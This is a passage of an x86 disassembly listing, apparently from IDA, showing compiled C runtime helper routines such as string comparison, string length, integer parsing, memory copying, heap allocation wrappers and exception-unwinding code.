; ---------------------------------------------------------------------------
loc_4107D4: ; CODE XREF: sub_4105F0+1D6j
; DATA XREF: sub_4105F0+1DDr
jmp ds:off_4108D0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4107E8
; ---------------------------------------------------------------------------
or [eax], cl
inc ecx
add [eax], dh
or [ecx+0], al
loc_4107E8: ; DATA XREF: sub_4105F0+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4107B0
std
rep movsd
cld
jmp ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4107B0
std
rep movsd
cld
jmp ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4107B0
std
rep movsd
cld
jmp ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
align 4
test [eax], cl
inc ecx
add [eax+ecx+8940041h], cl
inc ecx
add [eax+ecx+8A40041h], bl
inc ecx
add [eax+ecx+8B40041h], ch
inc ecx
loc_41087F: ; DATA XREF: sub_4105F0+1C2r
add bh, al
or [ecx+0], al
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4108C7: ; CODE XREF: sub_4105F0+1C2j
jmp ds:off_4108D0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4108D0 dd offset loc_4108E0 ; DATA XREF: sub_4105F0+1B7r
; sub_4105F0:loc_4107D4r ...
dd offset loc_4108E8
dd offset loc_4108F8
dd offset loc_41090C
; ---------------------------------------------------------------------------
loc_4108E0: ; CODE XREF: sub_4105F0+1B7j
; sub_4105F0:loc_4107D4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4108E8: ; CODE XREF: sub_4105F0+1B7j
; sub_4105F0:loc_4107D4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4108F8: ; CODE XREF: sub_4105F0+1B7j
; sub_4105F0:loc_4107D4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41090C: ; CODE XREF: sub_4105F0+1B7j
; sub_4105F0:loc_4107D4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4105F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_410930 proc near ; CODE XREF: seg000:004011AEp
; seg000:004011CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41097C
loc_410940: ; CODE XREF: sub_410930+3Cj
; sub_410930+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_410974
or al, al
jz short loc_410970
cmp ah, [ecx+1]
jnz short loc_410974
or ah, ah
jz short loc_410970
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_410974
or al, al
jz short loc_410970
cmp ah, [ecx+3]
jnz short loc_410974
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_410940
mov edi, edi
loc_410970: ; CODE XREF: sub_410930+18j
; sub_410930+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_410974: ; CODE XREF: sub_410930+14j
; sub_410930+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41097C: ; CODE XREF: sub_410930+Ej
test edx, 1
jz short loc_410998
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_410974
inc ecx
or al, al
jz short loc_410970
test edx, 2
jz short loc_410940
loc_410998: ; CODE XREF: sub_410930+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_410974
or al, al
jz short loc_410970
cmp ah, [ecx+1]
jnz short loc_410974
or ah, ah
jz short loc_410970
add ecx, 2
jmp short loc_410940
sub_410930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4109C0 proc near ; CODE XREF: seg000:004019E5p
; sub_41578D+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_4109D9
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4109D9: ; CODE XREF: sub_4109C0+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_4109C0 endp
; =============== S U B R O U T I N E =======================================
sub_4109F4 proc near ; CODE XREF: sub_410A7F+4p
; seg000:00418D24p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4109FC: ; CODE XREF: sub_4109F4+34j
cmp ds:dword_42E39C, 1
jle short loc_410A14
movzx eax, byte ptr [edi]
push 8
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_410A23
; ---------------------------------------------------------------------------
loc_410A14: ; CODE XREF: sub_4109F4+Fj
movzx eax, byte ptr [edi]
mov ecx, ds:off_42E190
mov al, [ecx+eax*2]
and eax, 8
loc_410A23: ; CODE XREF: sub_4109F4+1Ej
test eax, eax
jz short loc_410A2A
inc edi
jmp short loc_4109FC
; ---------------------------------------------------------------------------
loc_410A2A: ; CODE XREF: sub_4109F4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_410A3A
cmp esi, 2Bh
jnz short loc_410A3E
loc_410A3A: ; CODE XREF: sub_4109F4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_410A3E: ; CODE XREF: sub_4109F4+44j
xor ebx, ebx
loc_410A40: ; CODE XREF: sub_4109F4+7Bj
cmp ds:dword_42E39C, 1
jle short loc_410A55
push 4
push esi
call sub_413446
pop ecx
pop ecx
jmp short loc_410A60
; ---------------------------------------------------------------------------
loc_410A55: ; CODE XREF: sub_4109F4+53j
mov eax, ds:off_42E190
mov al, [eax+esi*2]
and eax, 4
loc_410A60: ; CODE XREF: sub_4109F4+5Fj
test eax, eax
jz short loc_410A71
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_410A40
; ---------------------------------------------------------------------------
loc_410A71: ; CODE XREF: sub_4109F4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_410A7A
neg eax
loc_410A7A: ; CODE XREF: sub_4109F4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4109F4 endp
; =============== S U B R O U T I N E =======================================
sub_410A7F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4109F4
pop ecx
retn
sub_410A7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A8A proc near ; CODE XREF: seg000:00402036p
; sub_402AD2+69p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_412C3C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_410AC9
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_410AD6
; ---------------------------------------------------------------------------
loc_410AC9: ; CODE XREF: sub_410A8A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_412B27
pop ecx
pop ecx
loc_410AD6: ; CODE XREF: sub_410A8A+3Dj
mov eax, esi
pop esi
leave
retn
sub_410A8A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_410AE0 proc near ; CODE XREF: seg000:00401EAEp
; seg000:00401ECEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_410B5A
mov dh, [ecx+1]
test dh, dh
jz short loc_410B47
loc_410AF8: ; CODE XREF: sub_410AE0+52j
; sub_410AE0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_410B1A
test al, al
jz short loc_410B14
loc_410B09: ; CODE XREF: sub_410AE0+32j
mov al, [esi]
inc esi
loc_410B0C: ; CODE XREF: sub_410AE0+3Fj
cmp al, dl
jz short loc_410B1A
test al, al
jnz short loc_410B09
loc_410B14: ; CODE XREF: sub_410AE0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410B1A: ; CODE XREF: sub_410AE0+23j
; sub_410AE0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_410B0C
lea edi, [esi-1]
loc_410B24: ; CODE XREF: sub_410AE0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_410B53
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_410AF8
mov al, [ecx+3]
test al, al
jz short loc_410B53
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_410B24
jmp short loc_410AF8
; ---------------------------------------------------------------------------
loc_410B47: ; CODE XREF: sub_410AE0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_412766
; ---------------------------------------------------------------------------
loc_410B53: ; CODE XREF: sub_410AE0+49j
; sub_410AE0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_410B5A: ; CODE XREF: sub_410AE0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_410AE0 endp
; =============== S U B R O U T I N E =======================================
sub_410B60 proc near ; CODE XREF: sub_402306+7p
; sub_402930+124p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_410B80
loc_410B6C: ; CODE XREF: sub_410B60+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_410BB3
test ecx, 3
jnz short loc_410B6C
add eax, 0
loc_410B80: ; CODE XREF: sub_410B60+Aj
; sub_410B60+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_410B80
mov eax, [ecx-4]
test al, al
jz short loc_410BD1
test ah, ah
jz short loc_410BC7
test eax, 0FF0000h
jz short loc_410BBD
test eax, 0FF000000h
jz short loc_410BB3
jmp short loc_410B80
; ---------------------------------------------------------------------------
loc_410BB3: ; CODE XREF: sub_410B60+11j
; sub_410B60+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_410BBD: ; CODE XREF: sub_410B60+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_410BC7: ; CODE XREF: sub_410B60+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_410BD1: ; CODE XREF: sub_410B60+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_410B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_410BE0 proc near ; CODE XREF: sub_4038A7+8p
; seg000:00403D0Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_410C00
loc_410BEC: ; CODE XREF: sub_410BE0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_410BEC
loc_410C00: ; CODE XREF: sub_410BE0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_410BE0 endp
; =============== S U B R O U T I N E =======================================
sub_410C0F proc near ; CODE XREF: sub_402124+Ap
; sub_40215E+12p ...
arg_0 = dword ptr 4
push ds:dword_45F89C
push [esp+4+arg_0]
call sub_410C21
pop ecx
pop ecx
retn
sub_410C0F endp
; =============== S U B R O U T I N E =======================================
sub_410C21 proc near ; CODE XREF: sub_410C0F+Ap
; sub_411605+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_410C4A
loc_410C28: ; CODE XREF: sub_410C21+27j
push [esp+arg_0]
call sub_410C4D
test eax, eax
pop ecx
jnz short locret_410C4C
cmp [esp+arg_4], eax
jz short locret_410C4C
push [esp+arg_0]
call sub_4134BB
test eax, eax
pop ecx
jnz short loc_410C28
loc_410C4A: ; CODE XREF: sub_410C21+5j
xor eax, eax
locret_410C4C: ; CODE XREF: sub_410C21+13j
; sub_410C21+19j
retn
sub_410C21 endp
; =============== S U B R O U T I N E =======================================
sub_410C4D proc near ; CODE XREF: sub_410C21+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, ds:dword_42E3AC
ja short loc_410C65
push esi
call sub_4138A6
test eax, eax
pop ecx
jnz short loc_410C81
loc_410C65: ; CODE XREF: sub_410C4D+Bj
test esi, esi
jnz short loc_410C6C
push 1
pop esi
loc_410C6C: ; CODE XREF: sub_410C4D+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_460EA0
call ds:dword_41C134 ; RtlAllocateHeap
loc_410C81: ; CODE XREF: sub_410C4D+16j
pop esi
retn
sub_410C4D endp
; =============== S U B R O U T I N E =======================================
sub_410C83 proc near ; CODE XREF: sub_4021B3+Ap
; sub_4021CC+7Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_410CB0
push esi
call sub_413550
pop ecx
test eax, eax
push esi
jz short loc_410CA2
push eax
call sub_41357B
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_410CA2: ; CODE XREF: sub_410C83+13j
push 0
push ds:dword_460EA0
call ds:dword_41C138 ; RtlFreeHeap
loc_410CB0: ; CODE XREF: sub_410C83+7j
pop esi
retn
sub_410C83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410CB2(double)
sub_410CB2 proc near ; CODE XREF: sub_4028E4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_42E150
call sub_414879
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_410D38
call sub_414741
pop ecx
test eax, eax
pop ecx
jle short loc_410D1B
cmp eax, 2
jle short loc_410D0D
cmp eax, 3
jnz short loc_410D1B
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_414051
add esp, 10h
jmp short loc_410D7D
; ---------------------------------------------------------------------------
loc_410D0D: ; CODE XREF: sub_410CB2+3Fj
push esi
push ebx
call sub_414879
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_410D7D
; ---------------------------------------------------------------------------
loc_410D1B: ; CODE XREF: sub_410CB2+3Aj
; sub_410CB2+44j
fld [ebp+arg_0]
fadd ds:dbl_41C650
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_410D75
; ---------------------------------------------------------------------------
loc_410D38: ; CODE XREF: sub_410CB2+2Fj
call sub_414706
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_410D5B
loc_410D4D: ; CODE XREF: sub_410CB2+ACj
push esi
push ebx
call sub_414879
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_410D7D
; ---------------------------------------------------------------------------
loc_410D5B: ; CODE XREF: sub_410CB2+99j
test bl, 20h
jnz short loc_410D4D
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_410D75: ; CODE XREF: sub_410CB2+84j
call sub_4140A4
add esp, 1Ch
loc_410D7D: ; CODE XREF: sub_410CB2+59j
; sub_410CB2+67j ...
pop esi
pop ebx
leave
retn
sub_410CB2 endp
; =============== S U B R O U T I N E =======================================
sub_410D81 proc near ; DATA XREF: seg002:0042E15Co
call sub_410D99
call sub_414942
mov ds:dword_45F824, eax
call sub_4148F2
fnclex
retn
sub_410D81 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_410D99 proc near ; CODE XREF: sub_410D81p
mov eax, offset sub_414D30
mov ds:off_42E4CC, offset sub_4149C5
mov ds:off_42E4C8, eax
mov ds:off_42E4D0, offset sub_414A2B
mov ds:off_42E4D4, offset sub_41496B
mov ds:off_42E4D8, offset sub_414A13
mov ds:off_42E4DC, eax
retn
sub_410D99 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DD4 proc near ; CODE XREF: sub_4028E4+1Bp
; sub_4028E4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_410DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410DFB(double)
sub_410DFB proc near ; CODE XREF: sub_402930+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push ds:dword_42E168
call sub_414879
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_410E81
call sub_414741
pop ecx
test eax, eax
pop ecx
jle short loc_410E64
cmp eax, 2
jle short loc_410E56
cmp eax, 3
jnz short loc_410E64
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_414051
add esp, 10h
jmp short loc_410EC6
; ---------------------------------------------------------------------------
loc_410E56: ; CODE XREF: sub_410DFB+3Fj
push esi
push ebx
call sub_414879
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_410EC6
; ---------------------------------------------------------------------------
loc_410E64: ; CODE XREF: sub_410DFB+3Aj
; sub_410DFB+44j
fld [ebp+arg_0]
fadd ds:dbl_41C650
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_410EBE
; ---------------------------------------------------------------------------
loc_410E81: ; CODE XREF: sub_410DFB+2Fj
call sub_414706
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_410EA4
loc_410E96: ; CODE XREF: sub_410DFB+ACj
push esi
push ebx
call sub_414879
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_410EC6
; ---------------------------------------------------------------------------
loc_410EA4: ; CODE XREF: sub_410DFB+99j
test bl, 20h
jnz short loc_410E96
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_410EBE: ; CODE XREF: sub_410DFB+84j
call sub_4140A4
add esp, 1Ch
loc_410EC6: ; CODE XREF: sub_410DFB+59j
; sub_410DFB+67j ...
pop esi
pop ebx
leave
retn
sub_410DFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ECA proc near ; CODE XREF: sub_4151A1+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_410ECA endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_410EFE proc near ; CODE XREF: sub_415352+199p
; sub_415516+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_410EFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_410F05 proc near ; CODE XREF: sub_415352+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_410F05 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F0C proc near ; CODE XREF: sub_4110BE+5Cp
; sub_4151A1:loc_4151D2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_410F34
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_41AFFE ; RtlUnwind
loc_410F34: ; DATA XREF: sub_410F0C+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_410F0C endp
; ---------------------------------------------------------------------------
loc_410F5B: ; CODE XREF: seg000:0041B15Cj
; seg000:0041B179j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_414DA6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F91 proc near ; CODE XREF: sub_41521C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_410FE5
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_4155A0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_410F91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FE5 proc near ; DATA XREF: sub_410F91+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_414DA6
add esp, 20h
pop ebp
retn
sub_410FE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41100A proc near ; CODE XREF: sub_414FE8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_4110BE
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_411090
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_45F8BC
pop ecx
pop ecx
and [ebp+var_34], 0
loc_411090: ; DATA XREF: sub_41100A+3Co
cmp [ebp+var_4], 0
jz short loc_4110AD
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_4110B6
; ---------------------------------------------------------------------------
loc_4110AD: ; CODE XREF: sub_41100A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_4110B6: ; CODE XREF: sub_41100A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41100A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110BE proc near ; DATA XREF: sub_41100A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_4110E1
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41112E
; ---------------------------------------------------------------------------
loc_4110E1: ; CODE XREF: sub_4110BE+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_414DA6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41111F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_410F0C
loc_41111F: ; CODE XREF: sub_4110BE+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
